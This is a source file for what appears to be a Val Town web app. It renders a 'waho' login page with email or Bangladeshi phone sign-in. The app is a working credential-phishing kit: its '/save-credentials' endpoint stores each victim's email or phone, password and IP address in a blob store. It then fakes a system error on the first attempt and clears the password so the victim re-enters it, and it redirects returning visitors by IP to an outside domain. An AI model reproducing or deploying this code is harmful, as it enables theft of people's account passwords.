\n \n \n \n {type === \"phone\" && +880}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}\n aria-label={showPassword ? \"Hide password\" : \"Show password\"}\n >\n \n \n )}\n

\n );\n};\n\nconst FloatingMessage = ({ message, isVisible }) => {\n return (\n

\n {message}\n

\n );\n};\n\nconst Spinner = () => (\n

\n \n

\n);\n\nconst LoginPage = () => {\n const [formData, handleChange, setFormData] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showFloatingMessage, setShowFloatingMessage] = useState(false);\n const [showSystemError, setShowSystemError] = useState(false); // New state for system error\n const [showServerBusy, setShowServerBusy] = useState(false);\n const [showSpinner, setShowSpinner] = useState(false); // New state for spinner\n\n useEffect(() => {\n const checkRedirectStatus = async () => {\n try {\n const response = await fetch(\"/check-redirect-status\");\n const data = await response.json();\n if (data.shouldRedirect) {\n window.location.href = \"https://wahobd-neatcrimsonsloth.web.val.run\";\n }\n } catch (error) {\n console.error(\"Error checking redirect status:\", error);\n }\n };\n\n checkRedirectStatus();\n }, []);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType} and password`);\n return;\n }\n\n if (loginType === \"phone\") {\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n return;\n }\n\n try {\n setShowSpinner(true); // Show spinner on form submission\n\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) throw new Error(\"Failed to save credentials\");\n\n const data = await response.json();\n\n setTimeout(() => {\n setShowSpinner(false); // Hide spinner after 2 seconds\n // Only redirect if data.redirectUrl is explicitly provided by the server\n if (data.redirectUrl) {\n window.location.href = data.redirectUrl;\n } else if (data.loginAttempts === 1 && !data.success) { // Show System Error on first failed attempt for a new combination\n setShowSystemError(true);\n setFormData(prevFormData => ({ ...prevFormData, password: \"\" })); // Clear password\n setTimeout(() => setShowSystemError(false), 3000); // Hide after 3 seconds\n } else if (data.serverBusy) {\n setShowServerBusy(true);\n setTimeout(() => setShowServerBusy(false), 3000);\n }\n // If data.loginAttempts is 2 (for the same credentials),\n // no redirectUrl will be present, and no other message will be shown,\n // fulfilling the new requirement.\n }, 2000); // Simulate network delay\n } catch (error) {\n console.error(\"Error:\", error);\n setError(\"An error occurred. Please try again.\");\n setShowSpinner(false); // Hide spinner on error\n }\n };\n\n const handleToggle = (type) => {\n setFormData(prev => ({ ...prev, loginType: type }));\n };\n\n const handleCreateAccountClick = (e) => {\n e.preventDefault();\n setShowFloatingMessage(true);\n setTimeout(() => setShowFloatingMessage(false), 3000);\n };\n\n return (\n

\n {showSpinner && } {/* Render spinner if showSpinner is true */}\n

Hello!

\n Welcome to the waho!\n

\n \n

Welcome back

\n handleToggle(\"email\")}\n isActive={formData.loginType === \"email\"}\n isFirst={true}\n >\n Email\n \n handleToggle(\"phone\")}\n isActive={formData.loginType === \"phone\"}\n isLast={true}\n >\n Phone\n \n

\n \n Creat Account\n \n

\n \n \n \n

\n );\n};\n\nfunction App() {\n return ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n\n const createHTMLResponse = (title: string) => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n \n \n

\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n if (url.pathname === \"/check-redirect-status\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const redirectStatus = await blob.getJSON(`redirect_status_${userIP}`);\n\n if (redirectStatus && redirectStatus.timestamp) {\n const currentTime = new Date().getTime();\n const redirectTime = new Date(redirectStatus.timestamp).getTime();\n const oneDay = 24 * 60 * 60 * 1000;\n\n if (currentTime - redirectTime < oneDay) {\n return new Response(JSON.stringify({ shouldRedirect: true }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } else {\n // Clear old redirect status\n await blob.setJSON(`redirect_status_${userIP}`, null);\n }\n }\n\n return new Response(JSON.stringify({ shouldRedirect: false }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error checking redirect status:\", error);\n return new Response(JSON.stringify({ error: \"Failed to check redirect status\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {};\n\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const key = `${newCredential.type}_${newCredential.credential}_${newCredential.password}_${userIP}`;\n loginAttempts[key] = (loginAttempts[key] || 0) + 1;\n\n const existingCredentialIndex = savedCredentials.findIndex(\n (cred) =>\n cred.credential === newCredential.credential\n && cred.password === newCredential.password\n && cred.ip === userIP,\n );\n\n // Logic for saving credentials and handling login attempts\n let success = true; // Assume success for now, adjust based on your actual login validation\n\n if (loginAttempts[key] === 1 && existingCredentialIndex === -1) {\n // Save the credential only if it's the first attempt and it's a new combination\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n success = false; // Simulate a system error on the first attempt for new credentials\n } else if (loginAttempts[key] === 2) {\n // If it's the second attempt with the exact same combination,\n // no redirectUrl will be present, and no other message will be shown.\n // The client will then not perform any redirection or show a message.\n // We still persist the updated loginAttempts and savedCredentials.\n success = true; // Assume no error for this specific case as per requirement\n }\n // For any other login attempt count (e.g., > 2), we also won't redirect.\n\n // Always persist the updated state of savedCredentials and loginAttempts\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts);\n\n const serverBusy = false; // You can control this based on your server load\n\n // Prepare response for the client\n let responseData = {\n success: success, // Communicate success/failure to client for message display\n serverBusy: serverBusy,\n loginAttempts: loginAttempts[key],\n redirectUrl: null, // Default to null, will not trigger client-side redirect\n };\n\n return new Response(\n JSON.stringify(responseData),\n {\n headers: { \"Content-Type\": \"application/json\" },\n },\n );\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\"Login\");\n}","deleted","label",[98],"permalink","https://www.val.town/x/special_server_waho/untitled-653/code/main.tsx","extension","actionData","errors"]